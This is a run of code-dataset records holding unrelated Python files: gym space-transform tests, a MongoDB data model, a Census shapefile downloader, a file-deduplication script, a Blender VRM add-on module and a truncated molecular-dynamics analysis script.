0.2.1\",\n \"scikit-learn >= 0.20.0\",\n \"numpy >= 1.15.4\",\n \"scipy >= 1.1.0\",\n ],\n classifiers=[\n \"Topic :: Scientific/Engineering :: Bio-Informatics\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"Programming Language :: Python :: 3 :: Only\",\n \"Intended Audience :: Science/Research\",\n ],\n python_requires='>=3.5',\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"249981187","text":"import gym\nfrom space_wrappers.transform import discretize, flatten, rescale\nfrom gym.spaces import *\nimport numpy as np\nimport itertools\n\ndef check_convert(trafo, target, original):\n assert (trafo.convert_from(target) == original).all()\n assert (trafo.convert_to(original) == target).all()\n# discretize\n\ndef test_discretize_1d_box():\n cont = Box(np.array([0.0]), np.array([1.0]))\n trafo = discretize(cont, 10)\n\n assert trafo.target == Discrete(10)\n assert trafo.convert_from(0) == 0.0\n assert trafo.convert_from(9) == 1.0\n assert trafo.convert_to(0.0) == 0\n assert trafo.convert_to(1.0) == 9\n\ndef test_discretize_discrete():\n start = Discrete(5)\n trafo = discretize(start, 10)\n assert trafo.target == start\n\ndef test_discretize_nd_box():\n cont = Box(np.array([0.0, 1.0]), np.array([1.0, 2.0]))\n trafo = discretize(cont, 10)\n\n assert trafo.target == MultiDiscrete([(0, 9), (0, 9)])\n check_convert(trafo, (0, 0), [0.0, 1.0])\n check_convert(trafo, (9, 9), [1.0, 2.0])\n\n trafo = discretize(cont, (5, 10))\n\n assert trafo.target == MultiDiscrete([(0, 4), (0, 9)])\n check_convert(trafo, (0, 0), [0.0, 1.0])\n check_convert(trafo, (4, 9), [1.0, 2.0])\n\n# flatten\ndef test_flatten_single():\n start = Discrete(5)\n trafo = flatten(start)\n assert trafo.target == start\n\n start = Box(np.array([0.0]), np.array([1.0]))\n trafo = flatten(start)\n assert trafo.target == start\n\ndef test_flatten_discrete():\n md = MultiDiscrete([(0, 2), (0, 3)])\n trafo = flatten(md)\n\n assert trafo.target == Discrete(12)\n # check that we get all actions exactly once\n actions = []\n for (i, j) in itertools.product([0, 1, 2], [0, 1, 2, 3]):\n actions += [(i, j)]\n for i in range(0, 12):\n a = trafo.convert_from(i)\n assert a in actions, (a, actions)\n assert trafo.convert_to(a) == i\n actions = list(filter(lambda x: x != a, list(actions)))\n assert len(actions) == 0\n\n # same test for binary\n md = MultiBinary(3)\n trafo = flatten(md)\n\n assert trafo.target == Discrete(2**3)\n # check that we get all actions exactly once\n actions = []\n for (i, j, k) in itertools.product([0, 1], [0, 1], [0, 1]):\n actions += [(i, j, k)]\n for i in range(0, 8):\n a = trafo.convert_from(i)\n assert trafo.convert_to(a) == i\n assert a in actions, (a, actions)\n actions = list(filter(lambda x: x != a, actions))\n assert len(actions) == 0\n\ndef test_flatten_continuous():\n ct = Box(np.zeros((2,2)), np.ones((2, 2)))\n trafo = flatten(ct)\n\n assert trafo.target == Box(np.zeros(4), np.ones(4))\n check_convert(trafo, [1, 2, 3, 4], [[1, 2], [3, 4]])\n\n# rescale\ndef test_rescale_discrete():\n for s in [Discrete(10), MultiDiscrete([(0, 2), (0, 3)]), MultiBinary(5)]:\n try:\n rescale(s, 1.0)\n assert False \n except TypeError: pass\n\ndef test_rescale_box():\n s = Box(np.array([0.0, 1.0]), np.array([1.0, 2.0]))\n trafo = rescale(s, np.array([1.0, 0.0]), np.array([2.0, 1.0]))\n\n assert trafo.target == Box(np.array([1.0, 0.0]), np.array([2.0, 1.0]))\n check_convert(trafo, [1.0, 0.0], [0.0, 1.0])\n check_convert(trafo, [2.0, 1.0], [1.0, 2.0])\n\n # scalar rescale\n s = Box(np.array([0.0, 1.0]), np.array([1.0, 2.0]))\n trafo = rescale(s, 0.0, 1.0)\n\n assert trafo.target == Box(np.array([0.0, 0.0]), np.array([1.0, 1.0]))\n\n\nif __name__ == '__main__':\n test_discretize_1d_box()\n test_discretize_discrete()\n test_discretize_nd_box()\n\n test_flatten_single()\n test_flatten_discrete()\n test_flatten_continuous()\n\n test_rescale_discrete()\n test_rescale_box()\n\n","sub_path":"space_wrappers/tests/test_transform.py","file_name":"test_transform.py","file_ext":"py","file_size_in_byte":3674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"96656037","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport pymongo,os,sys\n\nsys.path.append(os.path.dirname(os.path.split(os.path.realpath(__file__))[0]))\n\nfrom conf.settings import DB_MUSICMAGV2\n\nclass ChannelBriefInfos(object):\n '''\n channel_brief_infos\n '''\n def __init__(self, json):\n self.channel_brief_info_id = ''\n self.channel_brief_info_content = ''\n self.channel_brief_info_title = ''\n self.channel_brief_info_type = '' ##\n self.channel_brief_info_date = ''\n self.special = 'False'\n self.resources_ids = []\n self.source_url = ''\n self.content_from = ''\n self.author = ''\n self.ymd = ''\n self.resourcetype = '' ##\n\n self.generate_fields(json)\n\n def find_channel_brief_info_type_from_resources_ids(self, resources_ids):\n type = 'text'\n for resources in resources_ids:\n if resources.get('resource_info_type','') != 1:#不是文字\n type = 'img'\n break\n return type\n\n def find_channel_brief_info_type(self, json):\n channel_brief_info_type = 1\n resources_ids = json.get('resources_ids','')\n if resources_ids:\n for resources in resources_ids:\n if resources.get('resource_info_type','') != 1:#不是文字\n channel_brief_info_type = 2\n break\n return channel_brief_info_type\n\n def find_resourcetype(self,json):\n '''\n not sure\n '''\n resource_type = 'text'\n resources_ids = json.get('resources_ids','')\n for resources in resources_ids:\n if resources.get('resource_info_type','') != 1:#不是文字\n resource_type = 'img'\n break\n return resource_type\n\n def find_channel_brief_info_content(self, resources_ids):\n channel_brief_info_content = ''\n for resource in resources_ids: #设置channel_brief_info_content\n resourcetype = resource.get('resource_info_type','')\n if int(resourcetype) == 5 and resource.get('resource_info_content',''):\n channel_brief_info_content = resource.get('resource_info_content','')\n break\n return channel_brief_info_content\n\n def generate_fields(self, json):\n self.channel_brief_info_id = json.get('channel_brief_info_id','')\n resources_ids = []\n for resource in json.get('resources_ids',''): #清除空的内容\n if resource:\n resources_ids.append(resource)\n self.channel_brief_info_content = self.find_channel_brief_info_content(resources_ids)\n self.channel_brief_info_title = json.get('channel_brief_info_title','')\n self.channel_brief_info_type = self.find_channel_brief_info_type(json)\n self.channel_brief_info_date = json.get('channel_brief_info_date','')\n self.special = False\n #resources_ids = ResourcesIds(resources_ids)\n # for i in resources_ids:\n # i = ResourcesIds.field_completion(i)\n # i = ResourcesIds.delete_not_pic_field(i)\n self.resources_ids = ResourcesIds.generate_resources_ids_for_data_newbrief_collection_format(resources_ids)\n #self.resources_ids = resources_ids #经过处理后的resources_ids\n self.source_url = json.get('source_url','')\n self.content_from = json.get('content_from','')\n self.author = json.get('author','')\n self.ymd = self.generate_ymd(json.get('channel_brief_info_date'))\n #self.resourcetype = self.find_resourcetype(json)\n self.resourcetype = '' #设为空\n\n def data(self):\n data = {\n 'channel_brief_info_id':self.channel_brief_info_id,\n 'channel_brief_info_content':self.channel_brief_info_content,\n 'channel_brief_info_title':self.channel_brief_info_title,\n 'channel_brief_info_type':self.channel_brief_info_type,\n 'channel_brief_info_date':self.channel_brief_info_date,\n 'special':self.special,\n 'resources_ids':self.resources_ids,\n 'source_url':self.source_url,\n 'content_from':self.content_from,\n 'author':self.author,\n 'ymd':self.ymd,\n 'resourcetype':self.resourcetype\n }\n return data\n\n def generate_ymd(self, date_str):\n res = ''\n try:\n res = date_str.strip().split(' ')[0]\n except Exception as e:\n print (\"ERROR!! %s\"%str(e))\n return res\n\n\n\nclass ResourcesIds(object):\n '''\n resources_ids\n '''\n resource_field_ = ['resource_info_thumbnails_url',\n 'resource_info_ios_url',\n 'resource_info_normal_url',\n 'resource_info_android_url',\n 'resource_info_id',\n 'resource_info_content',\n 'resource_info_original_url',\n 'resource_info_url',\n 'resource_info_type'\n ]\n def __init__(self, json):\n self.resource_info_thumbnails_url = ''\n self.resource_info_ios_url = ''\n self.resource_info_normal_url = ''\n self.resource_info_android_url = ''\n self.resource_info_id = ''\n self.resource_info_content = ''\n self.resource_info_original_url = ''\n self.resource_info_url = ''\n self.resource_info_type = ''\n\n @staticmethod\n def field_completion(resource):\n for i in ResourcesIds.resource_field_:\n if i not in resource.keys():\n resource[i] = ''\n return resource\n\n @staticmethod\n def delete_not_pic_field(resources_ids): #去掉里面一层非图片的字段\n for i in resources_ids.keys():\n if i not in ['resource_info_type','resource_info_original_url','resource_info_id']:\n resources_ids[i] = ''\n return resources_ids\n\n @staticmethod\n def generate_resources_ids_for_data_newbrief_collection_format(resources_ids):\n '''\n 1 最多resources_ids只有9个\n 2 只有resource_info_type=1的情况存在\n '''\n res = []\n for resource in resources_ids:\n resource = ResourcesIds.field_completion(resource)\n if 'resource_info_type' in resource.keys() and int(resource['resource_info_type']) == 1:\n res.append(resource)\n res = res[:9]\n return res\n\nif __name__ == '__main__':\n a = {'resource_info_ios_url':'','resource_info_type':1}\n a = ResourcesIds.field_completion(a)\n a = ResourcesIds.field_completion(a)\n print (a)","sub_path":"model/jsons.py","file_name":"jsons.py","file_ext":"py","file_size_in_byte":6765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"65772506","text":"#! /usr/bin/env python3\n\nimport logging\nimport time\nimport zipfile\n\nimport requests\nimport us\n\n\nlogger = logging.getLogger(__file__)\nlogger.addHandler(logging.StreamHandler())\nlogger.setLevel(logging.INFO)\n\n# The Census download URLs are case-sensitive\nURL = 'https://www2.census.gov/geo/tiger/TIGER2018/SLD{chamber_uppercase}/tl_2018_{fips}_sld{chamber}.zip'\nMAX_ATTEMPTS = 3\nSECONDS_BEFORE_RETRY = 5\n\nfor state in us.STATES + [us.states.PR]:\n logger.info(\"Fetching shapefiles for {}\".format(state.name))\n\n for chamber in ['l', 'u']:\n fips = state.fips\n download_url = URL.format(fips=fips, chamber=chamber, chamber_uppercase=chamber.upper())\n\n attempts = 0\n while attempts < MAX_ATTEMPTS:\n response = requests.get(download_url)\n if response.status_code not in [500, 503]:\n break\n else:\n attempts += 1\n time.sleep(SECONDS_BEFORE_RETRY)\n\n if response.status_code == 200:\n filename = './data/tl_2018_{fips}_sld{chamber}.zip'.format(fips=fips, chamber=chamber)\n # This _could_ all be done with a single file operation,\n # by using a `BytesIO` file-like object to temporarily hold the\n # HTTP response. However, that's less readable and maintainable,\n # and a bit of delay isn't a problem given the slowness\n # of the Census downloads in the first place.\n with open(filename, 'wb') as f:\n f.write(response.content)\n with zipfile.ZipFile(filename, 'r') as f:\n f.extractall('./data')\n elif (response.status_code == 404 and state.abbr == 'DC' and chamber == 'l') or \\\n (response.status_code == 404 and state.abbr == 'NE' and chamber == 'l'):\n # These chambers are non-existant, and a `404` is expected\n pass\n else:\n response.raise_for_status()\n","sub_path":"get-all-sld-shapefiles.py","file_name":"get-all-sld-shapefiles.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"27815438","text":"# pylint: disable=unused-import, wrong-import-position\n# -*- coding: utf-8 -*-\n#\n# ramstk.views.gtk3.requirement.__init__.py is part of The RAMSTK Project\n#\n# All rights reserved.\n# Copyright 2020 Doyle Rowland doyle.rowland reliaqual com\n\"\"\"The RAMSTK GTK3 revision package.\"\"\"\n\nATTRIBUTE_KEYS = {\n 2: ['derived', 'integer'],\n 3: ['description', 'string'],\n 4: ['figure_number', 'string'],\n 5: ['owner', 'integer'],\n 6: ['page_number', 'string'],\n 8: ['priority', 'integer'],\n 10: ['specification', 'string'],\n 11: ['requirement_type', 'integer'],\n 12: ['validated', 'integer'],\n 13: ['validated_date', 'string'],\n}\n\n# RAMSTK Local Imports\nfrom .moduleview import ModuleView as mvwRequirement\nfrom .workview import GeneralData as wvwRequirementGD\nfrom .workview import RequirementAnalysis as wvwRequirementAnalysis\n","sub_path":"src/ramstk/views/gtk3/requirement/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"527421929","text":"import os, time, random\nimport queue\n\nclass filededuplication :\n # 사용할 소수 ( 소수 크기가 크면 클 수록 정확도 상승 )\n prime_number = 1048583\n # 윈도우 크기\n window_size = 1 << 8\n # 확률(p = 1 / 2 ** 2 )\n last_mask = (1 << 8) - 1\n # 수가 커지는 것을 방지하기 위한 상수\n end_subset = (1 << 32) - 1\n # 소수를 저장( 계산을 빠르게 하기 위한 작업 )\n save_prime = (prime_number ** (window_size - 1)) & end_subset\n # 샘플링 확률\n r = 1.0\n\n def __init__(self) :\n while True :\n self.target_dir = os.path.normpath(input(\"Directory path : \"))\n if not os.path.exists(self.target_dir) :\n print(\"The path does not exist. Please check the path and re-enter.\")\n elif not os.path.isdir(self.target_dir) :\n print(\"It is not a directory. Please enter the correct directory path.\")\n else :\n break\n def run(self) :\n start_time = time.time()\n self.file_dic = {}\n for path, dir, files in os.walk(self.target_dir):\n for file_name in files :\n self.set_fingerprint(path + \"\\\\\" + file_name)\n\n for from_file_name, from_file_finger_print in sorted(self.file_dic.items()):\n for to_file_name, to_file_finger_print in sorted(self.file_dic.items()):\n # 이미 검사한 파일인 경우\n if from_file_name >= to_file_name:\n continue\n intersection_size = len(from_file_finger_print & to_file_finger_print)\n #jaccard_similarity = (sampled_intersection_size / self.r) / (len(from_file_finger_print) + len(to_file_finger_print) - (sampled_intersection_size / r))\n jaccard_similarity = len(from_file_finger_print & to_file_finger_print) / len(from_file_finger_print | to_file_finger_print)\n print(\"Chunk Count : %d %d\" % (len(from_file_finger_print), len(to_file_finger_print)))\n print(\"%s 과 %s 는 %.2f %% 유사합니다.\" % (from_file_name, to_file_name, jaccard_similarity * 100))\n end_time = time.time()\n print(\"걸린시간 : %d\" % (end_time - start_time))\n def set_fingerprint(self, file_path ):\n fingerprint_set = set()\n file_size = os.path.getsize(file_path)\n #count_of_signature = int((file_size - self.window_size) * self.p * self.r)\n q = queue.Queue()\n q.put((0, file_size - self.window_size));\n f = open(file_path, 'rb')\n while not q.empty() :\n p = q.get()\n if p[1] - p[0] < self.window_size :\n continue\n m = random.randint(p[0], p[1])\n e = self.insert_fingerprint(f, m, p[1], fingerprint_set)\n q.put((p[0], max(m - self.window_size, e - self.window_size)))\n q.put((e +self.window_size, p[1]))\n self.file_dic[file_path] = fingerprint_set\n\n def insert_fingerprint(self, f, start, end, fingerprint_set) :\n f.seek(start)\n file_point = start\n slicing_window = bytearray(f.read(self.window_size))\n current_chunk = 0\n previous_chunk = 0\n for each_byte in slicing_window:\n current_chunk *= self.prime_number\n current_chunk += each_byte\n current_chunk &= self.end_subset\n while(file_point < end) :\n if current_chunk & self.last_mask == 0 :\n fingerprint_set.add(current_chunk)\n break\n buf = f.read(1)\n file_point += 1\n previous_chunk = current_chunk\n current_chunk = (previous_chunk - slicing_window[0] * self.save_prime) * self.prime_number + buf[0]\n if current_chunk < 0 :\n current_chunk += self.end_subset + 1\n current_chunk &= self.end_subset\n slicing_window.pop(0)\n slicing_window.append(buf[0])\n return file_point\n\n","sub_path":"File Deduplication/filededuplication.py","file_name":"filededuplication.py","file_ext":"py","file_size_in_byte":3973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"397284598","text":"from dataclasses import dataclass\nfrom sys import float_info\nfrom typing import Optional, Union\n\nimport bpy\nfrom bpy.app.translations import pgettext\n\nfrom ..common.logging import get_logger\n\nlogger = get_logger(__name__)\n\nMESH_CONVERTIBLE_OBJECT_TYPES = [\n \"CURVE\",\n \"FONT\",\n \"MESH\",\n # \"META\", # Disable until the glTF 2.0 add-on supports it\n \"SURFACE\",\n]\n\n\ndef export_materials(objects: list[bpy.types.Object]) -> list[bpy.types.Material]:\n result = []\n for obj in objects:\n if obj.type not in MESH_CONVERTIBLE_OBJECT_TYPES:\n continue\n\n mesh_convertible = obj.data\n if isinstance(mesh_convertible, (bpy.types.Curve, bpy.types.Mesh)):\n for material_ref in mesh_convertible.materials:\n if not isinstance(material_ref, bpy.types.Material):\n continue\n material = bpy.data.materials.get(material_ref.name)\n if not isinstance(material, bpy.types.Material):\n continue\n if material not in result:\n result.append(material)\n else:\n logger.error(\n f\"Unexpected mesh convertible object type: {type(mesh_convertible)}\"\n )\n\n for material_slot in obj.material_slots:\n if not material_slot:\n continue\n material_ref = material_slot.material\n if not material_ref:\n continue\n material = bpy.data.materials.get(material_ref.name)\n if not isinstance(material, bpy.types.Material):\n continue\n if material not in result:\n result.append(material)\n\n return result\n\n\ndef vrm_shader_node(material: bpy.types.Material) -> Optional[bpy.types.Node]:\n if not material.node_tree or not material.node_tree.nodes:\n return None\n for node in material.node_tree.nodes:\n if (\n node.type == \"OUTPUT_MATERIAL\"\n and node.inputs[\"Surface\"].links\n and node.inputs[\"Surface\"].links[0].from_node.type == \"GROUP\"\n and node.inputs[\"Surface\"].links[0].from_node.node_tree.get(\"SHADER\")\n is not None\n ):\n return node.inputs[\"Surface\"].links[0].from_node\n return None\n\n\ndef shader_nodes_and_materials(\n materials: list[bpy.types.Material],\n) -> list[tuple[bpy.types.Node, bpy.types.Material]]:\n result = []\n for material in materials:\n node = vrm_shader_node(material)\n if node:\n result.append((node, material))\n return result\n\n\ndef object_distance(\n left: bpy.types.Object,\n right: bpy.types.Object,\n collection_child_to_parent: dict[\n bpy.types.Collection, Optional[bpy.types.Collection]\n ],\n) -> tuple[int, int, int, int]:\n left_collection_path: list[bpy.types.Collection] = []\n left_collections = [\n collection\n for collection in left.users_collection\n if collection in collection_child_to_parent\n ]\n if left_collections:\n left_collection = left_collections[0]\n while left_collection:\n left_collection_path.insert(0, left_collection)\n left_collection = collection_child_to_parent.get(left_collection)\n\n right_collection_path: list[bpy.types.Collection] = []\n right_collections = [\n collection\n for collection in right.users_collection\n if collection in collection_child_to_parent\n ]\n if right_collections:\n right_collection = right_collections[0]\n while right_collection:\n right_collection_path.insert(0, right_collection)\n right_collection = collection_child_to_parent.get(right_collection)\n\n while (\n left_collection_path\n and right_collection_path\n and left_collection_path[0] == right_collection_path[0]\n ):\n left_collection_path.pop(0)\n right_collection_path.pop(0)\n\n left_parent_path: list[bpy.types.Object] = []\n while left:\n left_parent_path.insert(0, left)\n left = left.parent\n\n right_parent_path: list[bpy.types.Object] = []\n while right:\n right_parent_path.insert(0, right)\n right = right.parent\n\n while (\n left_parent_path\n and right_parent_path\n and left_parent_path[0] == right_parent_path[0]\n ):\n left_parent_path.pop(0)\n right_parent_path.pop(0)\n\n return (\n len(left_parent_path),\n len(right_parent_path),\n len(left_collection_path),\n len(right_collection_path),\n )\n\n\ndef armature_exists(context: bpy.types.Object) -> bool:\n return any(armature.users for armature in bpy.data.armatures) and any(\n obj.type == \"ARMATURE\" for obj in context.blend_data.objects\n )\n\n\ndef current_armature_is_vrm0(context: bpy.types.Context) -> bool:\n live_armature_datum = [\n armature_data for armature_data in bpy.data.armatures if armature_data.users\n ]\n if not live_armature_datum:\n return False\n if all(\n hasattr(armature_data, \"vrm_addon_extension\")\n and armature_data.vrm_addon_extension.is_vrm0()\n for armature_data in live_armature_datum\n ) and any(obj.type == \"ARMATURE\" for obj in context.blend_data.objects):\n return True\n armature = current_armature(context)\n if armature is None:\n return False\n return bool(armature.data.vrm_addon_extension.is_vrm0())\n\n\ndef current_armature_is_vrm1(context: bpy.types.Context) -> bool:\n live_armature_datum = [\n armature_data for armature_data in bpy.data.armatures if armature_data.users\n ]\n if not live_armature_datum:\n return False\n if all(\n hasattr(armature_data, \"vrm_addon_extension\")\n and armature_data.vrm_addon_extension.is_vrm1()\n for armature_data in live_armature_datum\n ) and any(obj.type == \"ARMATURE\" for obj in context.blend_data.objects):\n return True\n armature = current_armature(context)\n if armature is None:\n return False\n return bool(armature.data.vrm_addon_extension.is_vrm1())\n\n\ndef multiple_armatures_exist(context: bpy.types.Object) -> bool:\n first_data_exists = False\n for data in bpy.data.armatures:\n if not data.users:\n continue\n if not first_data_exists:\n first_data_exists = True\n continue\n\n first_obj_exists = False\n for obj in context.blend_data.objects:\n if obj.type == \"ARMATURE\":\n if first_obj_exists:\n return True\n first_obj_exists = True\n break\n return False\n\n\ndef current_armature(context: bpy.types.Context) -> Optional[bpy.types.Object]:\n objects = [obj for obj in context.blend_data.objects if obj.type == \"ARMATURE\"]\n if not objects:\n return None\n\n if len(objects) == 1:\n return objects[0]\n\n active_object = context.active_object\n if not active_object:\n active_object = context.view_layer.objects.active\n if not active_object:\n return objects[0]\n\n collection_child_to_parent: dict[\n bpy.types.Collection, Optional[bpy.types.Collection]\n ] = {context.scene.collection: None}\n\n collections = [context.scene.collection]\n while collections:\n parent = collections.pop()\n for child in parent.children:\n collections.append(child)\n collection_child_to_parent[child] = parent\n\n min_distance: Optional[tuple[int, int, int, int]] = None\n nearest_object: Optional[bpy.types.Object] = None\n for obj in objects:\n distance = object_distance(active_object, obj, collection_child_to_parent)\n if min_distance is None or min_distance > distance:\n min_distance = distance\n nearest_object = obj\n\n return objects[0] if nearest_object is None else nearest_object\n\n\ndef export_objects(\n context: bpy.types.Context,\n export_invisibles: bool,\n export_only_selections: bool,\n armature_object_name: Optional[str],\n) -> list[bpy.types.Object]:\n selected_objects = []\n if export_only_selections:\n selected_objects = list(context.selected_objects)\n elif export_invisibles:\n selected_objects = list(context.blend_data.objects)\n else:\n selected_objects = list(context.selectable_objects)\n\n objects = []\n\n armature_object = None\n if armature_object_name:\n armature_object = context.blend_data.objects.get(armature_object_name)\n if armature_object and armature_object.name in context.view_layer.objects:\n objects.append(armature_object)\n else:\n armature_object = None\n if not armature_object:\n objects.extend(\n obj\n for obj in context.blend_data.objects\n if obj.type == \"ARMATURE\" and obj.name in context.view_layer.objects\n )\n\n for obj in selected_objects:\n if obj.type in [\"ARMATURE\", \"LIGHT\", \"CAMERA\"]:\n continue\n if obj.name not in context.view_layer.objects:\n continue\n if not export_invisibles and not obj.visible_get():\n continue\n objects.append(obj)\n\n return objects\n\n\n@dataclass(frozen=True)\nclass ExportConstraint:\n roll_constraints: dict[str, bpy.types.CopyRotationConstraint]\n aim_constraints: dict[str, bpy.types.DampedTrackConstraint]\n rotation_constraints: dict[str, bpy.types.CopyRotationConstraint]\n\n\ndef is_roll_constraint(\n constraint: bpy.types.Constraint,\n objs: list[bpy.types.Object],\n armature: bpy.types.Object,\n) -> bool:\n return (\n isinstance(constraint, bpy.types.CopyRotationConstraint)\n and constraint.is_valid\n and not constraint.mute\n and constraint.target\n and constraint.target in objs\n and constraint.mix_mode == \"ADD\"\n and (int(constraint.use_x) + int(constraint.use_y) + int(constraint.use_z)) == 1\n and constraint.owner_space == \"LOCAL\"\n and constraint.target_space == \"LOCAL\"\n and (\n constraint.target.type != \"ARMATURE\"\n or (\n constraint.target == armature\n and constraint.subtarget in constraint.target.data.bones\n )\n )\n )\n\n\ndef is_aim_constraint(\n constraint: bpy.types.Constraint,\n objs: list[bpy.types.Object],\n armature: bpy.types.Object,\n) -> bool:\n return (\n isinstance(constraint, bpy.types.DampedTrackConstraint)\n and constraint.is_valid\n and not constraint.mute\n and constraint.target\n and constraint.target in objs\n and (\n constraint.target.type != \"ARMATURE\"\n or (\n constraint.target == armature\n and constraint.subtarget in constraint.target.data.bones\n and abs(constraint.head_tail) < float_info.epsilon\n )\n )\n )\n\n\ndef is_rotation_constraint(\n constraint: bpy.types.Constraint,\n objs: list[bpy.types.Object],\n armature: bpy.types.Object,\n) -> bool:\n return (\n isinstance(constraint, bpy.types.CopyRotationConstraint)\n and constraint.is_valid\n and not constraint.mute\n and constraint.target\n and constraint.target in objs\n and not constraint.invert_x\n and not constraint.invert_y\n and not constraint.invert_z\n and constraint.mix_mode == \"ADD\"\n and constraint.use_x\n and constraint.use_y\n and constraint.use_z\n and constraint.owner_space == \"LOCAL\"\n and constraint.target_space == \"LOCAL\"\n and (\n constraint.target.type != \"ARMATURE\"\n or (\n constraint.target == armature\n and constraint.subtarget in constraint.target.data.bones\n )\n )\n )\n\n\ndef export_object_constraints(\n objs: list[bpy.types.Object],\n armature: bpy.types.Object,\n) -> ExportConstraint:\n roll_constraints: dict[str, bpy.types.CopyRotationConstraint] = {}\n aim_constraints: dict[str, bpy.types.DampedTrackConstraint] = {}\n rotation_constraints: dict[str, bpy.types.CopyRotationConstraint] = {}\n\n for obj in objs:\n for constraint in obj.constraints:\n if is_roll_constraint(constraint, objs, armature):\n roll_constraints[obj.name] = constraint\n break\n if is_aim_constraint(constraint, objs, armature):\n aim_constraints[obj.name] = constraint\n break\n if is_rotation_constraint(constraint, objs, armature):\n rotation_constraints[obj.name] = constraint\n break\n\n return ExportConstraint(\n roll_constraints=roll_constraints,\n aim_constraints=aim_constraints,\n rotation_constraints=rotation_constraints,\n )\n\n\ndef export_bone_constraints(\n objs: list[bpy.types.Object],\n armature: bpy.types.Object,\n) -> ExportConstraint:\n roll_constraints: dict[str, bpy.types.CopyRotationConstraint] = {}\n aim_constraints: dict[str, bpy.types.DampedTrackConstraint] = {}\n rotation_constraints: dict[str, bpy.types.CopyRotationConstraint] = {}\n\n for bone in armature.pose.bones:\n for constraint in bone.constraints:\n if is_roll_constraint(constraint, objs, armature):\n roll_constraints[bone.name] = constraint\n break\n if is_aim_constraint(constraint, objs, armature):\n aim_constraints[bone.name] = constraint\n break\n if is_rotation_constraint(constraint, objs, armature):\n rotation_constraints[bone.name] = constraint\n break\n\n return ExportConstraint(\n roll_constraints=roll_constraints,\n aim_constraints=aim_constraints,\n rotation_constraints=rotation_constraints,\n )\n\n\ndef export_constraints(\n objs: list[bpy.types.Object],\n armature: bpy.types.Object,\n) -> tuple[ExportConstraint, ExportConstraint, list[str]]:\n messages: list[str] = []\n object_constraints = export_object_constraints(objs, armature)\n bone_constraints = export_bone_constraints(objs, armature)\n\n all_roll_constraints = list(object_constraints.roll_constraints.values()) + list(\n bone_constraints.roll_constraints.values()\n )\n all_rotation_constraints = list(\n object_constraints.rotation_constraints.values()\n ) + list(bone_constraints.rotation_constraints.values())\n all_constraints: list[bpy.types.CopyRotationConstraint] = (\n all_roll_constraints\n + all_rotation_constraints\n # TODO: Aim Constraint's circular dependency detection\n # + list(object_constraints.aim_constraints.values())\n # + list(bone_constraints.aim_constraints.values())\n )\n\n excluded_constraints: list[\n Union[\n bpy.types.CopyRotationConstraint,\n bpy.types.DampedTrackConstraint,\n bpy.types.CopyRotationConstraint,\n ]\n ] = []\n\n for search_constraint in all_constraints:\n current_constraints = [\n (\n search_constraint,\n (\n search_constraint.use_x,\n search_constraint.use_y,\n search_constraint.use_z,\n ),\n )\n ]\n iterated_constraints = set()\n while current_constraints:\n current_constraint, current_axis = current_constraints.pop()\n\n if current_constraint in iterated_constraints:\n break\n iterated_constraints.add(current_constraint)\n\n found = False\n\n if current_constraint.target.type == \"ARMATURE\":\n bone = current_constraint.target.pose.bones[\n current_constraint.subtarget\n ]\n owner_name = bone.name\n target_constraints = bone.constraints\n else:\n owner_name = current_constraint.target.name\n target_constraints = current_constraint.target.constraints\n\n for target_constraint in target_constraints:\n if target_constraint not in all_constraints:\n continue\n\n next_target_axis = (\n current_axis[0] and target_constraint.use_x,\n current_axis[1] and target_constraint.use_y,\n current_axis[2] and target_constraint.use_z,\n )\n if next_target_axis == (False, False, False):\n continue\n\n if target_constraint != search_constraint:\n current_constraints.append((target_constraint, next_target_axis))\n continue\n\n excluded_constraints.append(search_constraint)\n messages.append(\n pgettext(\n 'Node Constraint \"{owner_name} / {constraint_name}\" has a circular dependency'\n ).format(\n owner_name=owner_name,\n constraint_name=search_constraint.name,\n )\n )\n found = True\n break\n\n if found:\n break\n\n return (\n ExportConstraint(\n roll_constraints={\n k: v\n for k, v in object_constraints.roll_constraints.items()\n if v not in excluded_constraints\n },\n aim_constraints={\n k: v\n for k, v in object_constraints.aim_constraints.items()\n if v not in excluded_constraints\n },\n rotation_constraints={\n k: v\n for k, v in object_constraints.rotation_constraints.items()\n if v not in excluded_constraints\n },\n ),\n ExportConstraint(\n roll_constraints={\n k: v\n for k, v in bone_constraints.roll_constraints.items()\n if v not in excluded_constraints\n },\n aim_constraints={\n k: v\n for k, v in bone_constraints.aim_constraints.items()\n if v not in excluded_constraints\n },\n rotation_constraints={\n k: v\n for k, v in bone_constraints.rotation_constraints.items()\n if v not in excluded_constraints\n },\n ),\n messages,\n )\n","sub_path":"addons/VRM_Addon_for_Blender-2_17_7/editor/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":18406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"277579188","text":"# import libraries\nimport matplotlib\nmatplotlib.use('Agg')\n\nimport mdtraj as md\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom msmbuilder import dataset\n\nimport seaborn as sns\nsns.set_style(\"whitegrid\")\nsns.set_context(\"poster\")\n\n# load trajectories\nSrc_trajectories = dataset.MDTrajDataset(\"/cbio/jclab/projects/fah/fah-data/munged/no-solvent/10471/*.h5\")\n\n# import 2SRC structure to compare to\nSRC2 = md.load(\"SRC_2SRC_A.pdb\")\n\n# Define hydrogen bond coordinates (0-indexed)\nKER_src = [[28,43],[43,142]]\n\n# Define Activation loop (resid)\nAloop_src = [138,158]\n\ndef shukla_coords(trajectories,KER,Aloop,SRC2):\n\n difference = []\n rmsd = []\n\n for traj in trajectories:\n\n # append difference\n k295e310 = md.compute_contacts(traj, [KER[0]])\n e310r409 = md.compute_contacts(traj, [KER[1]])\n difference.append(10*(e310r409[0] - k295e310[0])) # 10x because 